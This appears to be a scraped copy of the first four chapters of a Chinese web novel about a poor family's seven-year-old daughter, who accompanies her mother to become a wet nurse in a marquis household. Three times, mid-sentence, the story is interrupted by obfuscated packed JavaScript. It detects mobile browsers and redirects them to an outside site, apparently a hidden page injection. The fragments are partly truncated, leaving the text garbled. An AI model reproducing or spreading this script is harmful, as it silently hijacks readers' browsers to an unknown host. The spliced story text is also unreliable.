《古代市井生活日常》 1. 第一章 做奶娘 月光从窗扇透进来，把这被隔板分出来的小屋照的甚是明亮，崔如英一时半会儿睡不着，就半眯着打盹儿，刚有那么点困意，却听见了铜板儿碰撞的声音。 爹娘数钱呢？ 崔如英没动，耳朵却竖了起来。 她听见许娘子一边数一边小声记着，崔大山倒是安静。 铜板落下叮当响，钱匣子里空当当，也就一小会儿，许娘子数到四百二十文就停下了。 接着许娘子又道：“这儿还有半两碎银子呢。” 崔大山叹了口气，“明儿我去赵哥家换只鸡，你还坐月子呢，这个不能省。再把我衣裳补补，反正你绣工好，也看不出什么来。” 许娘子小声道：“这都二十多天了，别喝鸡汤了，你出门在外，还是得体面点，衣裳都补丁摞补丁了，衣裳钱不能省。” 崔大山粗声道：“有啥可体面的，衣服能穿不就行了，你身子养好才是正事。” 许娘子道：“谁家娘子坐月子隔两日就喝鸡汤，你说家里又多了张吃饭的嘴，不然再托人打听打听，问问谁家缺奶娘不？” 许娘子生养孩子不少，这回月子坐得也不错，奶水多，当奶娘可比做绣活赚的多多了，“你说大郎还有两三年也该娶媳妇儿，当个学徒还不够，总得置办间新房，明儿我托刘姐去问问。” 崔大山道：“也好，那家里……” 许娘子道：“家里就交给二丫三丫吧，三丫也大了，能看着点妹妹。” 崔如英本来就没睡着，闻此话算是彻底精神了。 三丫……三丫是她呀。 她也看着？ 家里人多，三间房中间是厨房，西边崔大郎和二丫一分为二，崔如英不愿跟着姐姐挤，才央着许娘子把东屋用木板子隔了一一小间出来。 至于为啥不求崔大山，这家里爹听娘的。 穿过来也有些年头了，崔如英还没习惯自己的新名字。其实能托生到这样的人家还算不错，爹娘感情和睦，住在京中南巷，虽是穷人住的地方，可好歹有三间房，邻里偶有摩擦但大体和睦，不用理会烦人亲戚，大哥姐姐懂事，爹娘也不是重男轻女的。 搁几年前日子也不错，可怪就怪爹娘感情实在太和睦了。 不说三年抱俩，但从崔如英出生到现在七岁，已经多了两个弟弟一个妹妹。 这个时代，越生越穷。 崔家现在一家八口人，崔大山做木匠每月能赚五钱，许娘子也能做绣活补贴家用，可许娘子生孩子就得坐月子，崔大山又是个疼媳妇的，鸡鸭鱼肉，什么都舍得买。 媳妇吃了也不能苦着孩子，总会分给孩子几口，崔如英记得她两三岁时，家里还时常还能吃到点心。 现在就不行了，一家人的口粮衣裳就足够两人发愁了。 她出生时许娘子就去当奶娘了，当时是因为奶水多，给普通人家奶孩子，一个月给的钱也不多。 后来去了伯府，给的银子是不少，可想着给崔大郎交束脩，又买了房子，如今家里穷，崔大郎已经不读书了，而是继承崔大山的衣钵，去木匠坊当学徒。 崔如英不是个懂事的孩子，上头有大的，下面有小的，她这个夹中间的，如果不为自己争取争取，那只能受夹板子气。 会哭的孩子才有糖吃。 她嘴甜能闹，加上崔大山样貌憨厚，许娘子容貌平平，却生了她这个美人胚子，还能不多疼些。 让她留在家里照顾弟弟妹妹，她才不干。 许娘子又喂了喂小女儿，夫妻俩絮絮叨叨说着话，崔如英听着听着就睡着了。 次日一早，是崔大山跟二丫做的饭，崔大郎在边上烧火。 大哥二姐比崔如英大几岁，现在已经能帮家里干活了，崔大郎一会儿还要去学木工，崔如英爱躲懒，但今儿早上她乖乖地守着炉子里煨的鸡汤。 许娘子还在坐月子，昨日的鸡汤没喝完，看煮好了，崔如英也不顾烫，盛了一大碗赶紧端到床边，“娘，你快喝，还热着呢。” 一大碗里有汤有肉，只不过崔大山厨艺平平，也不太好吃。 不过这个时代有肉吃已是不错了，许娘子喝了几口汤，崔如英就在旁边眼巴巴瞅着。 许娘子舀了口肉递到崔如英嘴边，若是二丫，肯定说娘你吃，但崔如英张嘴把肉吃了，“娘你真好，女儿以后一定孝顺你。” 许娘子笑着道：“等你孝顺还得等几年呢，快吃饭去吧。” 崔如英舔了舔嘴巴，那边崔大山已经把饭给盛好了。 她人小，碗也小，昨天炖鸡还剩些鸡架，炒了一大锅白菜。现在才三月份，白菜是去年冬天留的。 小米粥面饼子，崔大山崔大郎还要去木匠坊，几口喝完小米粥然后拿着玉米面饼子路上吃。他俩中午不回来，临走时崔大山嘱咐二丫照顾好许娘子。 崔二丫哎了一声，崔如英吃了几口，还剩半碗，“姐你喝吧，我去看看娘。” 崔二丫：“你不要啦。” 崔如英点点头把碗放下，去了东屋，许娘子已经喝完鸡汤了，崔如英利索地把碗筷收了，“娘你吃饱了吗，我再给你拿个面饼子。” 许娘子觉得三丫今天殷勤的厉害，“这还吃不饱，你呀又憋什么坏招呢？” 崔如英随口扯道：“昨儿晚上做梦，又梦见娘生六妹那天了，听娘喊疼，我心里好难受。” 生孩子就是闯回鬼门关，许娘子生了六回，虽然有经验，可哪回不是疼得死去活来，就是生得快也疼。 许娘子闻言有些动容，“这不是好了吗，你看你妹妹。” 再苦再疼，看见孩子什么都忘了，许娘子一脸柔情，母女亲近的确让人动容，但很快，崔如英心又提起来，许娘子不会是想让她多亲近亲近，等去了侯府，把孩子给她一扔。 崔如英道：“害娘受苦，我才不喜欢，而且丑丑的。” 崔六丫身上的红色还没褪去，跟小猴子似的。 许娘子笑了笑，只当是小孩赌气的话，“长开了就好了，二丫，你一会儿啊去你刘婶儿家，请刘婶儿过来，别空着手去，鸡汤还剩多少？给盛碗过去。” 崔如英点点头，出去的时候崔二丫在刷碗，屋里说话外头也能听见。她没解释，盛了碗鸡汤，看着油太多，止住了偷喝一口的念头，稳稳当当端着去了刘婶儿家。 刘婶儿家在后面那条巷子，拐进去第二家就是。 门大敞着，应该是吃过早饭了，刘婶儿在院子里洗衣裳，崔如英喊了一声，“婶子！” 刘婶儿比许娘子胖些，穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800765|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗布衣裳，头发用布巾包着，说话爽利，“三丫来啦，哎呀，来就来，还带东西干啥。” 崔如英道：“我娘就跟婶子好，谁都不惦记，就惦记着婶子，还热着呢。” 刘婶儿搁衣服把手擦了擦，“快进来，快进来。” 崔如英：“待就不待了，我娘请婶子过去看看。” 刘婶儿也痛快，拿着鸡汤进屋倒碗里，又把崔家的碗刷刷还给崔如英：“走吧。” 崔如英去得快回来得也快，只不过刚带着人回来，许娘子就打发她们出去玩。 崔如英明白，这是不想让她们偷听。 玩儿也是在院子里玩，早起还有些冷，崔二丫闲不住，把院子里菜畦的草拔了，崔如英竖着耳朵，不过里面人说话声音小，也听不太清。 等了约两刻钟，许娘子送刘婶儿出来，刘婶儿摆摆手，“还坐着月子呢，就别送了。” 崔如英眼疾手快地薅了把小白菜，刚冒头不然也得间苗，绳子一捆递给刘婶儿，“婶子你拿着。” 刘婶儿一笑，回头对许娘子道：“我给你问问，放心，肯定给你办妥了。” 崔如英：“婶子我送送你吧。” 刘婶儿笑了笑，崔如英往外送了送，这才回去，回屋里就问许娘子，“娘，你找刘婶儿啥事呀。” 许娘子没看崔如英道：“你打听这干啥。” 还没准儿呢，许娘子不打算和家里人说，再过几天就出月子了，希望能传来好消息。 崔如英每天晚上偷听爹娘说话，听着家里没钱，两人为崔大郎娶媳妇发愁，听崔大山换了两只鸡，许娘子嫌他乱花钱。 一句一句为家里和孩子打算，崔如英也想帮家里赚钱，可是人小，会得太多也说不过去。 不过许娘子都觉得她可以照顾妹妹了，那就已经不把她当孩子了。 过了两天，刘婶儿又登门了，崔如英看刘婶儿脸上带着笑，心想，这带来的应该是好消息。 这回待得时间长了点，得有半个时辰。 许娘子眼里带笑，从屋里出来让崔如英送送刘婶儿，“三丫，送送你婶子。” 刘婶儿道：“哎，不用了。” 崔如英：“婶子我送送你。” 这回薅了两把小葱。 晚上吃饭的时候，许娘子告诉一家人这个好消息，“安定侯府的三娘子还有一个多月就临盆了，正找奶娘呢，明儿我去试试，要是成了，家里就二丫三丫照顾着。” 其他的都还好说，许娘子唯一放心不下的就是刚出生的小女儿。 不过等侯府三娘子孩子生了，六丫也就两个多月了，到时候喂点米糊糊，四郎五郎都是这么养大的。 崔大山道：“你放心去，家里有我们呢。” 崔大山相貌憨厚，唯一出彩的就是眼睛，肩膀宽厚身材高大，一家人守着一盏油灯，崔大山的影子也长，看着十分可靠。 崔二丫道：“娘你放心吧，我肯定照顾好弟弟妹妹。” 崔大郎大约是知道，母亲去当奶娘多半是为了自己，低着头，声音有些弱，“娘，家里还有我呢。” 四郎和五郎一个四岁一个两岁，什么都不懂，可崔如英懂啊。 崔如英道：“娘，让我跟你一块儿去吧。” 2. 第二章 安定侯府 崔如英也不全是为了躲懒才想跟着去的。 当奶娘不是牵了线就万无一失，许娘子虽然从前做过奶娘，但是京中人这么多，大户人家选奶娘自然千挑万选，半点马虎不得。 上两回还是在伯爵府，这回去侯府，许娘子都不知道能不能成。 一个孩子，捣什么乱。 许娘子道：“这可是正经事儿，你去捣什么乱。” 许娘子以为崔如英想去是想去见识见识侯府什么样，大户人家体面，曾经去伯府做奶娘，那高宅大院，头一回看得她眼睛都直了。 不过这是大事，平日多疼些也就罢了，这种时候可不能由个孩子胡来。 崔如英喝了口稀粥，说道：“娘，我去怎么就是捣乱了？你想想，你去侯府，那是大户人家，人家肯定什么都看。那做奶娘不得天天看着孩子，所以人家肯定得看奶娘的品性。 你把我教养得这么好，人家要是看到我也能安心不是。” 许娘子听完一愣，三丫的确比二丫爱说话，刘姐今天来的时候还夸了两句，说三丫招人稀罕，大大方方的。 二丫就老实，见外人也不爱说话。 大郎偶尔还会有不好意思的时候，但是三丫从来不会。 他们夫妻俩都是老实人，不会说好听的话，但三丫回回都能把人哄得高高兴兴的。 许娘子其实也爱听好听的。 长得好看，嘴甜，可去侯府，许娘子还是怕她添乱。 许娘子嘴上敷衍着，“再说吧，快吃饭，再不吃该凉了。” 崔如英想还得再劝劝，反正她不留在家里看孩子，看孩子事儿可多了，喂饭哄哭，还得洗尿布。 想法子是一回事儿，饭还得吃。 晚饭一大锅稀粥，许娘子喝了新炖的鸡汤，这么多孩子，也舍不得自己在那儿喝。 一人给夹了小块儿肉。 崔大山没要，崔大郎也没要，两个小的只知肉香，囫囵给吞下去，崔二丫也想像崔如英一样，说句好听的然后把肉吃了，可又把肉给许娘子夹了回去，“娘，你吃吧。” 崔如英低着头吃完，冲许娘子笑了笑，“娘，这肉真好吃，等娘去了侯府，咱们就能天天吃肉了，六丫也能长快点。” 别人家觉得孩子天天想吃肉是馋，可崔如英是为了家里着想，又是为了妹妹，许娘子也说不出怪她的话来。 看着一群孩子，许娘子的确觉得，三丫的确更大方，不认生，吃饭样子也好看。 看四郎五郎，吃一嘴。 奶娘算不得下人，在伯爵府一个月还有二两银子，照顾得好还有赏钱，喂养个一年半载就不用人了，侯府给的银钱只多不少。 离侯府三娘子临盆还有一个多月，一般大户人家会请两个奶娘，刘婶儿说已经定下来一个了。 这附近生孩子的也有，虽然有人牵线，可也不是非她不可。 许娘子坐月子算到今天是二十八天，明天二十九天，出门也不妨事儿。 但到底带不带崔如英，许娘子睡觉前都没想好。 崔如英这回没听爹娘俩人说话，她怕明天早上许娘子直接就走了，那可就完了。 被子一蒙，早早就睡下了。 月升月落，天色是暗的，天边刚露出鱼肚白，巷子里许多人家还没起，可崔家烟囱已经冒烟了。 崔大山烧了大锅热水，给许娘子打了进来，兑上凉水，水温适中，“娘子，成了。” 大户人家什么都看重，许娘子洗了头发把身上擦干净，换了身干净衣裳，只不过生了孩子，身量比原来胖，穿的有些紧。 梳洗完，许娘子喝了几口鸡汤，再一看，不知道何时崔如英已经穿好衣服了。 这才什么时辰。 崔如英年纪小，以往就用红绳子梳个双丫髻，但今天她把红绳子编到头发里，看着也是耳目一新。衣裳整整齐齐，平日就爱干净，虽然有块补丁，可显得立整。 眉眼生得好看，眼睛像崔大山，白净的皮肤随了许娘子，年画娃娃似的。 看着就讨喜。 崔如英道：“娘，你就让我跟你一块去呗，那么远呢，我还能帮你拎东西。” 城南都是没钱的住，有钱的都在城北。 许娘子舍不得坐车，自然得走着去。 崔大山道：“你就让她跟着吧，大不了在门口等着。” 许娘子松了口，“走吧。” 崔如英一笑，“爹娘，你们真好！” 出门早，许娘子就喝了鸡汤，吃个了鸡腿，分了崔如英一块儿肉，崔大山又从灶膛里摸出两个烤红薯。 外面没黑，还冒着热气，有蜜油已经挣破红薯皮流出来了。 崔如英欢呼道：“我一个，娘一个！” 许娘子笑了笑，摸摸崔如英的脑袋，“走吧。” 没去过侯府，到时候还得打听打听在那条街，许娘子喝了鸡汤，倒是不饿，但崔如英也没吃。 饿还是有点饿的，但她说，“娘，红薯我用油纸包上了，拿着能暖手。要是没选上，咱们不还有两个烤红薯回来路上吃。” 许娘子本来心里还紧张，听这话倒是笑了笑，“走吧。” 三月份，刚开春，早起还冷呢。 许娘子不能受寒气，有个烤红薯正正好。 这会儿天刚亮，一大一小往城北走，城南热闹，这会儿已经有摆摊卖早饭的了，一个个小摊子，豆浆油条冒着热气，竹屉里的肉包子圆滚滚的，阳春面烧饼馅饼，勾着崔如英肚子里的馋虫。 她想，自己做的更好吃，有了钱什么都能做。 城南到城北，有十里多，许娘子原本以为崔如英会喊累，但是走到城北，也没听女儿吭一声。 平日里最爱撒娇，今儿可不一样。 到了城北，却不知安定侯府在哪儿。 崔如英道：“娘，我去打听吧。” 许娘子没拒绝，崔如英没来过这边，相比于城南，人少了不少，街道也更宽，一座座宅院好像能吃人，门口的狮子一家比一家的大，各家门口有小厮打扫门庭。 崔如英找了一个看着面善的，“小哥，可知安定侯府怎么走。” 小斯看了看崔如英，“后头那条街的第二家。” 崔如英：“谢谢小哥！” 崔如英回去跟许娘子道：“娘，不远，在后街，第二家就是。” 许娘子想，不管为啥，带着女儿来还是好，方便省事儿，这么小啥事儿都给办妥了。 虽然在后街，可一条街宽，也不像在城南一家挨着一家的，走过去也花了一刻钟。 许娘子有些紧张，崔如英让许娘子弯腰，“娘，你低点。” 许娘子不明所以，弯着腰问：“咋啦？” 崔如英给她理了理衣襟，“好啦。” 许娘子点点崔如英的鼻子，“走吧，咱们进去。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800766|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >崔如英：“我去问！” 家家都有门房小厮，崔如英认识门匾的字，可又不该认识，就脆声问门房小厮道：“小哥，我们是城南崔家的，这可是安定侯府？” 出门在外，尤其是到大户人家，先得自报家门。 小厮道：“是，小娘子找谁呀。” 崔如英道：“我们找府上三娘子，三娘子要临盆，正给小公子找奶娘，我娘想来试试看。” 说小公子总不会错。 小厮道：“劳请等一会儿，我进去通传。” 许娘子看着崔如英，侯府门庭比伯府还要大气，也不知此番能不能成事，等了一好一会儿，小厮过来跟两人道：“我们三娘子请二位进去。” 安定侯府的庭院宽阔，早春晨起，小厮丫鬟打扫庭院，也能见几缕春色。 跟这小厮往前走，许娘子本来害怕崔如英东张西望，胡乱看，但是她目不斜视，比谁都规矩。 也不知走了多久，可算到了一处院子外，看着院子比整个崔家都大。 站在门口等通传，没多一会儿，一个穿着绿色衣裳的丫鬟出来的，“我们三娘子请二位进去。 许娘子哎了一声，虽然不能多看，可眼睛还是能看见许多东西。 一个丫鬟穿的都齐整，侯府比伯爵府更大更富贵。 进了屋，许娘子把头低下，学着以前看见的样子行了个礼，“见过三娘子。” 崔如英扫了一眼，就把头低了下去。 安定侯府的陆三娘子还有一个月就临盆了，她坐在太师椅上，人看着并不胖，带着点母性的光辉，肚子圆滚滚的。 头发挽成一个团髻，上面桂红的抹胸，下面是初桃粉的百迭裙，因为肚子大，还穿了枣红色长褙子，上面刺绣多，但是崔如英只看了一眼，也没看清是什么花纹。 崔如英道：“见过三娘子。” 陆三娘子见状笑了笑，这小姑娘倒是讨喜。 陆三娘子已经寻到一个奶娘了，第二个看了几个也不合适，然后娘家表嫂问了一嘴，说有一个人合适，她就想看看。 崔家上下也都打听清楚了，这许娘子曾经在永康伯府当过一年多奶娘，说性子老实憨厚，不过耳听为虚，眼见为实。 看样子是老实，不太爱说话。像刚生产过的，看衣裳干净，打扮得也齐整。许娘子看着紧张，手握在一起，不住地扭，看指甲也干干净净。 还有这小姑娘……瞧着讨喜。 陆三娘子问道：“小姑娘，你是？” 崔如英道：“回三娘子，这是我娘，我是她女儿。我娘过来，路太远了，我帮着拿些东西。” 陆三娘子觉得这孩子好玩，她是头胎，所以慎重，选个奶娘也得精挑细选。这么个孩子，比大人说话可信。 都说童言无忌，陆三娘子没问许娘子，反而问起了崔如英，“你今年多大了？” 崔如英答道：“我今年七岁了。” 陆三娘子：“家里几口人？” “家中一共八口，爹娘两人，一位兄长，一位姐姐，两个弟弟一个妹妹。” 陆三娘子道：“你可知你娘今日过来为了什么？” 崔如英道：“当然知道了，我家里人多，爹娘又舍不得苛待我们任何一个，所以就需要银子。我娘来侯府喂小公子，多的银子妹妹能吃饱，其他人也能吃好一点。” 许娘子紧张地看着陆三娘子，见陆三娘子笑了笑。 3. 第三章 敲定 许娘子紧张地看着陆三娘子，见陆三娘子笑了笑。 陆三娘子为肚子里的孩子找奶娘，这孩子幼时，必然是乳母带大，奶水足不足是一回事，还得看奶娘品性如何，能不能教养好孩子。 倒不是说把教养孩子的重任给她们，可是耳濡目染，奶娘也至关重要，有个好奶娘能省不少事儿呢。 这世人多重男轻女，若是许娘子带着她儿子来，陆三娘子不会信。可见许娘子的女儿聪慧乖巧，规规矩矩还不怯场，可见这家的确把孩子养的好。 不过做奶娘还是得看奶水，其他的都是次要。 陆三娘子道：“一会儿请大夫看看，没什么事就定下来，月钱每月三两，你只需照顾好孩子。 我临盆还得一个多月，十日后你就住进来吧，孩子生下来前可以常回家中，不过不能离府超过两个时辰，出门前要跟我身边的李嬷嬷说一声。” 许娘子连哎了几声，“都听三娘子的！” 崔如英笑了笑，也高兴。 陆三娘子也笑了，摸着肚子冲崔如英招了招手，“你愿不愿意跟你娘一起住进来，常过来陪我说说话？” 崔如英愣了愣，她还琢磨怎么顺利住进侯府呢，没想到陆三娘子主动问她。 许娘子开口道：“三娘子，小孩子没个规矩……” 她怕陆三娘子喜欢三丫，一来二去的，就成了侯府的丫鬟。 侯府是富贵不假，可是当丫鬟给人为奴为婢，那许娘子宁可过贫苦日子。 崔如英道：“三娘子，我当然愿意呀，我娘一个人来这么远的地方，我还不放心呢。跟我娘过来，我还能帮着分担一二。” 陆三娘子不禁道：“你倒是孝顺。” 她嫁进来一年多，这才有孕，除了期许，也希望孩子能灵透些。 陆三娘子唤道：“李嬷嬷。” 一直站在陆三娘子身后的嬷嬷从袖子里拿了个荷包出来，陆三娘子拿过来，塞给崔如英，“行了，你在这儿等会儿，让你娘去看看大夫吧。” 许娘子被侍女带去了，崔如英冲着陆三娘子笑了笑，“三娘子你就放心吧，我娘生我时也去做奶娘了，我喝剩的一点点奶都能长这么高。” 陆三娘子被逗得一笑，她觉得这家孩子养得应该都不错，或许崔如英是最爱说话，可别的孩子应该也懂事本分，品性不会差了。 过了约两刻钟，崔如英和陆三娘子说话嘴巴都快干了，许娘子才回来，这看也并非乱看，要请大夫看看身体如何，有没有病症，生产时是否亏了气血。 再请有经验的嬷嬷看奶水足不足，身上有没有病症。 崔大山舍得花银子，这几样许娘子都过关了。 这个月份生产的妇人是不少，可是家里舍不得花钱，还让人出来做奶娘，那就异想天开了。 今日就没别的事儿了，陆三娘子道：“许娘子，你十日后住进来吧，李嬷嬷，拿我的牌子去马房，让人送许娘子母女俩回去。” 崔如英刚刚的确说了，两人走着过来的，从城南到城北，看了一路风景呢。 许娘子受宠若惊，“哪里还要这样麻烦……” 陆三娘子：“天还冷，时辰也不早了，早些回去吧。” 如今有孕，家里看重，这点主哪能做不了。别说让崔如英过来说话，就算她高兴多叫几个许家人，家里也没人说什么。 崔如英：“多谢三娘子！” 许娘子也道：“谢谢三娘子。” 李嬷嬷给安排好了马车，这是崔如英第一次坐马车，也是许娘子第一次坐。 从前在伯爵府做奶娘，可没这待遇，青葱顶的马车，能遮风挡雨，一辆车就得一百多两银子呢。 坐上车许娘子不禁感叹，“陆三娘子可真是个好人。” 崔如英没说话，看了看马车，然后又状似刚想起什么来似的把荷包拿出来，“娘，你总说我什么时候才能孝顺你，看，这不就等到了。” 许娘子看着女儿，心里有些动容，一方面觉得这是陆三娘子给女儿的，她嘴笨，单她自己去肯定没赏钱。另一方面又觉得这钱让崔如英拿着，甩吧甩吧就得弄丢了。 许娘子道：“娘拿着吧。” 崔如英也没犹豫就给许娘子了，她是缺钱用，可是这么多年吃家里的喝家里的，现在正是缺钱的时候。 再说人太小，许娘子也不放心，日后拿钱的机会多，何必为这回赏钱银争来争去弄得谁都不高兴。 崔如英往许娘子怀里一钻，刚洗过头擦过身子，许娘子身上有淡淡的香味，她道：“娘，我好饿呀。” 许娘子记起出门之前拿了烤红薯，可这会儿肯定凉了，来时路上崔如英看着城南卖早摊的摊贩儿，看了好几眼，她道：“那等到城南让车夫停一下，娘给你买两个肉包子吃。” 崔如英笑了笑，“娘，咱们俩一起吃，对了，快看看多少钱？” 许娘子把荷包打开，这么多年下来掂着银子也能掂出来多重，二两多，看来陆三娘子今儿高兴。 许娘子小声道：“有二两多银子呢。” 买包子用铜板，一个素包子一文钱，肉包子两文，出门许三许娘子带了钱，倒不是多大的事儿。 母女俩卯时就出门了，走了半个多时辰，又在安定侯府待了半个多时辰，这会儿应该还未过辰时。 坐马车的确要快得多，崔如英时不时掀开车帘子，快到时钻出去对车夫道：“车夫大哥，把我和我娘放在这里就行了，我们还要去买些东西。” 人给送到就行，车夫在路边停了车。 崔如英先跳下去，然后才把许娘子扶了下来，两人下了车，许娘子对着车夫点点头道了声有劳了。 街上依旧热闹，不过有些晚了，那些摊贩都准备收摊了。 许娘子怕女儿吃不上，这答应的事她不想反悔，拉着崔如英快步摊贩那儿赶。只不过还是晚了，卖包子的已经收好摊了，包子一个都不剩。 许娘子看看崔如英，崔如英仰头看看许娘子，“娘，都卖完了。” 许娘子道：“不然咱们吃些别的，要不来碗阳春面？烧饼成不成？” 崔如英道：“娘，要不买些肉回去蒸包子吧，自己做便宜，还能多蒸点。” 若是以往许娘子给崔如英买个烧饼也就打发了，有的吃就行，哪里能挑三拣四。可今儿实在高兴，又得了银子，想想自己坐月子每日喝鸡汤，女儿吃那么小口肉，哪儿能解馋。 便点了点头。 一斤猪肉九文钱，肥瘦相间的五花要十二文， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800767|158402||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔如英拉着许娘子往猪肉摊那儿走。 虽说这会儿没卖早饭的了，但是肉还有很多。 崔如英问好摊主价钱，然后看看许娘子，“娘，咱们家这么多人，一斤肉是不是不够吃啊？” 崔大山这些日子省吃俭用的，大郎二丫懂事儿，许娘子摸摸怀里的银子说道：“买两斤猪肉。” 崔如英跟着卖肉的大伯道：“大伯，给我们搭个大骨头呗。” 骨头没什么肉，向来是做添头的 看崔如英爱说话，长得也好看，头几个生意，添根骨头就添根骨头。 摊贩麻溜的称好肉，给许娘子看了看秤，“这可高高的啊。” 拿线把肉穿上，许娘子没来得及伸手，就被崔如英接了过来。骨头用叶子绑上，崔如英一手一个，等许娘子付了钱，母女俩这就往家走了。 崔如英看着肉是真高兴，加上这么多年一点点长大，走路就忍不住又蹦又跳。许娘子看着她不禁笑了笑，不过还是忍不住道：“慢点走慢点走，着什么急呢！” 崔如英当然着急，这都什么时辰了，还得发面蒸包子呢！ 回去的一路上还遇见不少熟人，许娘子笑着跟人打招呼。 本来崔家在巷子里还算日子不错的，可孩子越来越多，日子反倒是没别人家好了。见了许娘子，也有人打听她去干什么了，许娘子笑笑没说话。 至于肉，她想，别人家偶尔能闻到炖肉的香味儿，真正在乎肉的，也就崔如英了。崔如英提着肉跑回家，进家门先喊姐，“姐！姐！你快去发面，咱们家中午要包包子！” 崔二丫比崔如英大三岁，这会儿刚给小妹妹洗完尿布，四郎五郎就在地里玩，看见崔如英手里的肉眼睛都直了，不过长这么大一直不敢惹崔如英，所以不敢动。 二丫看见肉也是高兴，问崔如英：“娘呢？” 崔如英道：“后头呢，后头呢。” 二丫往门口望了望，很快许娘子就进来了。崔大山中午不回来，二丫问：“娘，中午包吗？” 答应的事儿不好反悔，大不了叫中崔大山中午回来吃。她月子也做完了，又不是不能干活，她道：“中午包吧，等我洗个手。” 崔如英把肉放到厨房，就去地里薅小葱了，她要吃酱肉包，放多多的葱，汤汁浸透包子皮的那种。 她道：“娘你快歇着吧，我跟姐一块儿就行。” 许娘子还不知道女儿啥德性，做活能躲就躲，懒蛋一个。 从小到大没做过，哪里会这个。 崔如英笑嘻嘻道：“我给姐帮忙，你不是还没出月子吗，快进屋去暖和暖和，都半天没看见六丫了，你不想呀。” 许娘子的确想小女儿，养大这么多孩子，刚生出来软软一团，再想过阵子就要去侯府，虽然能回来，可到底是委屈了。 许娘子嘱咐二丫，“别让你妹妹添乱。” 二丫看着肉，点点头，崔如英已经薅了一大把葱回来了，看许娘子进屋，问二丫，“二姐，你吃过酱肉包吗，我有回出门，看人做过，那肉馅儿可好吃了，又嫩又香，咬一口可香了呢。就放一点点甜酱，那包子做出来里面的汤汁都能把包子皮给浸破了。 看着比娘做的好吃一百倍，二姐，我来弄馅儿，你发面吧。” 4. 第四章 能吃四个 家里是有老面的，崔二丫也会发面。 崔二丫是想吃，可还在犹豫，娘刚嘱咐了不让三丫胡来。 崔如英道：“怕啥？做的不好吃，挨打的是我又不是你，你就说被我逼的。” 二丫想，妹妹嘴甜爱闹，吃不少吃，还能把爹娘哄得一愣一愣的，让她挨打，长长记性也好。 “行，那我去发面了。” 崔如英美滋滋地看着这两块肉，这会儿肚子已经过了饿的时候，她非得等着吃包子才行。 菜刀用磨刀石磨磨，肉先切成小块才剁的肉馅，光小葱崔如英就切了半盆。 还捞出些就着蒜和姜块花椒泡着热水。 小葱还没长太大，又细又绿，葱白短短的，切到盆中，翠绿色中只带一点白。 能做包子崔如英借口是看过街头卖包子的，但其实不然，追根究底是她以前会做，上一世她是做销售的，什么都卖过，早些年把胃给搞坏了，后头赚了钱，就不愿意亏着自己的嘴。 不管是去外面吃还是自己做，总想办法吃得好点儿。 买的肉瘦多肥少，这样的肉做馅儿就会导致太干，所以要多加葱多加水。 崔如英想吃酱肉包，家里老酱还有一些，肉馅儿一分为二，一半儿拌好葱，另一半用锅和热油炒熟，加上酱油老酱炒出油脂和酱香味。 用甜面酱最好，不过家中没有，崔如英就把酱里加点了糖，调出差不多的味道。 炒酱的时候崔二丫就在旁边的面板子上揉面，四郎五郎扒着门一直往里看，时不时地舔嘴唇。 崔如英往那边看了一眼，一句话没说两个弟弟就跑得飞快。 家里爹娘都不怕，最怕崔如英这个姐姐。 二丫见过三丫打弟弟，所以俩人才怕她，搁她她是不敢的。看这架势，从前连饭都没做过，这要白瞎了两斤肉，娘不揍她才怪。 崔二丫一边揉面，一边看着崔如英炒肉馅儿，她还没见过谁家这么做馅儿的。心里觉得油放多了，又觉得这味儿挺香。 炒好的肉馅儿趁热拌到刚才的生肉馅里去，崔如英这回一边往里面加那葱姜花椒水，一边搅拌，分了几次，一大碗水都水进去了，却不见水的影子。 生熟肉馅连着刚冒出来不久的小葱混为一团，颜色的确是崔如英跟二丫说的酱色。 崔如英动力满满，想着一会儿能吃肉包子，这会累一点也值，有了吃的还缺喝的，她一扭头对上崔二丫的眼睛，“姐，你一会儿把骨头也炖了呗。” 那么一根没肉的骨头，就算再做也不能在骨头上雕朵花儿出来。 面已经发上了，二丫放在了炉子上，这天气有老面不行，还得暖和。 面还得发一会儿，崔二丫又去炖大骨头，一根骨头里面放了不少萝卜白菜。 等着包子快包好的时候，许娘子出来看了看，厨房收拾得极其干净，馅儿都在面里，崔如英对着许娘子讨好地笑了笑。 她又对着外面喊了一声，“四郎，你去木匠坊找爹，让他中午回来吃，不许瞎玩乱跑，不然我打断你腿！” 崔二丫摸了摸头发，既没告状，也没说别的，让她抢功劳她也做不到。 许娘子刚刚喂了小女儿，又把屋里收拾了收拾。她看了一眼面板上白胖白胖的馒头，也不知崔如英调馅儿，大的应该是二丫包的，小的估计是三丫包的，她人小，头一回包还挺像样，包子上的籽儿整齐得狠。 许娘子心道，还像那么回事儿。 